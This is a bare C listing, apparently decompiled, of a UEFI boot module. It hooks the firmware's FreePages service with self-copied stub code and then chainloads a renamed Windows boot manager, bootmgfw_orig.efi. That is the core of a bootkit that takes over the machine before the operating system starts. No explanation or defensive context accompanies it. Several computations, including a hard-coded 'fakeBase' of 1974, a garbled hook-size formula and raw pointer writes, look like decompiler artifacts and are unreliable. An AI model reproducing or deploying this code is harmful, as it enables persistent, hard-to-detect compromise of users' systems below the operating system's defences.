EFI_STATUS ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable) { EFI_BOOT_SERVICES* BS = SystemTable->BootServices; EFI_STATUS status; // -------------------------------------------------------------------- // "sub_7B6()" — constant used as fake base / delta anchor // -------------------------------------------------------------------- UINT64 fakeBase = 1974; // qword_7A0 - sub_7B6() (image-global delta) UINT64 imageDelta = ((UINT64)qword_7A0) - fakeBase; // -------------------------------------------------------------------- // Locate PE image base by scanning downward for MZ + PE headers // -------------------------------------------------------------------- UINT64 peBase; for (peBase = ((UINT64)ModuleEntryPoint & ~0xFFFULL); ;peBase -= 0x1000) { // "MZ" if (*(UINT16*)peBase == 0x5A4D) { UINT32 peOff = *(UINT32*)(peBase + 0x3C); // "PE\0\0" if (*(UINT32*)(peBase + peOff) == 0x4550) { break; } } } // -------------------------------------------------------------------- // Calculate size of hook stub (self-copying code) // -------------------------------------------------------------------- UINT64 hookSize = (fakeBase + (11 - ((UINT64)sub_684 - fakeBase))) + fakeBase; EFI_PHYSICAL_ADDRESS hookPages = 0; // -------------------------------------------------------------------- // Allocate pages for hook // -------------------------------------------------------------------- status = BS->AllocatePages(AllocateAnyPages, EfiLoaderData, (hookSize + 0xFFF) >> 12, &hookPages); if (EFI_ERROR(status)) { // Print warning ((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL*)*(UINT64*)(*(UINT64*)(fakeBase + imageDelta) + 64))->OutputString((VOID*)(*(UINT64*)(fakeBase + imageDelta) + 64), L"Warning: Hook allocation failed\r\n"); } else { // Save SystemTable and original FreePages *(UINT64*)(fakeBase + imageDelta) = (UINT64)SystemTable; *(UINT64*)(fakeBase + imageDelta + 8) = (UINT64)BS->FreePages; // Copy hook code byte-for-byte for (UINT64 i = 0; i < hookSize; i++) { ((UINT8*)hookPages)[i] = ((UINT8*)sub_684)[i]; } // Install hook BS->FreePages = (VOID*)hookPages; } // -------------------------------------------------------------------- // Get Loaded Image Protocol // -------------------------------------------------------------------- EFI_LOADED_IMAGE_PROTOCOL* loadedImage = NULL; status = BS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID**)&loadedImage); if (EFI_ERROR(status) || !loadedImage) { goto fatal_loaded_image; } // -------------------------------------------------------------------- // Get Simple File System // -------------------------------------------------------------------- EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* fs = NULL; status = BS->HandleProtocol(loadedImage->DeviceHandle, &gEfiSimpleFileSystemProtocolGuid, (VOID**)&fs); if (EFI_ERROR(status) || !fs) { goto fatal_fs; } // -------------------------------------------------------------------- // Open volume // -------------------------------------------------------------------- EFI_FILE_PROTOCOL* root = NULL; status = fs->OpenVolume(fs, &root); if (EFI_ERROR(status) || !root) { goto fatal_volume; } // -------------------------------------------------------------------- // Open bootmgfw_orig.efi // -------------------------------------------------------------------- EFI_FILE_PROTOCOL* file = NULL; status = root->Open(root, &file, L"EFI\\Microsoft\\Boot\\bootmgfw_orig.efi", EFI_FILE_MODE_READ, 0); if (EFI_ERROR(status) || !file) { goto fatal_file; } // -------------------------------------------------------------------- // Get file size // -------------------------------------------------------------------- UINTN infoSize = 0; file->GetInfo(file, &gEfiFileInfoGuid, &infoSize, NULL); EFI_FILE_INFO* fileInfo = NULL; status = BS->AllocatePool(EfiLoaderData, infoSize, (VOID**)&fileInfo); if (EFI_ERROR(status)) { goto fatal_fileinfo; } status = file->GetInfo(file, &gEfiFileInfoGuid, &infoSize, fileInfo); if (EFI_ERROR(status)) { goto fatal_fileinfo; } // -------------------------------------------------------------------- // Read entire file // -------------------------------------------------------------------- VOID* fileBuffer = NULL; UINTN fileSize = fileInfo->FileSize; status = BS->AllocatePool(EfiLoaderData, fileSize, &fileBuffer); if (EFI_ERROR(status)) { goto fatal_read; } status = file->Read(file, &fileSize, fileBuffer); if (EFI_ERROR(status)) { goto fatal_read; } file->Close(file); root->Close(root); // -------------------------------------------------------------------- // Load + start original boot manager // -------------------------------------------------------------------- EFI_HANDLE childImage = NULL; status = BS->LoadImage(TRUE, ImageHandle, loadedImage->FilePath, fileBuffer, fileSize, &childImage); if (EFI_ERROR(status)) { goto fatal_load; } BS->FreePool(fileBuffer); BS->FreePool(fileInfo); status = BS->StartImage(childImage, NULL, NULL); // If it ever returns, it's an error ((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL*)*(UINT64*)(*(UINT64*)(fakeBase + imageDelta) + 64))->OutputString((VOID*)(*(UINT64*)(fakeBase + imageDelta) + 64), L"Error: Original boot manager returned unexpectedly\r\n"); return status; // ------------------------------------------------------------------------ // Fatal error handler // ------------------------------------------------------------------------ fatal_loaded_image: fatal_fs: fatal_volume: fatal_file: fatal_fileinfo: fatal_read: fatal_load: ((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL*)*(UINT64*)(*(UINT64*)(fakeBase + imageDelta) + 64))->OutputString((VOID*)(*(UINT64*)(fakeBase + imageDelta) + 64), L"CRITICAL: Cannot chainload boot manager!\r\n"); while (1) { BS->Stall(1000000); } return EFI_ABORTED; }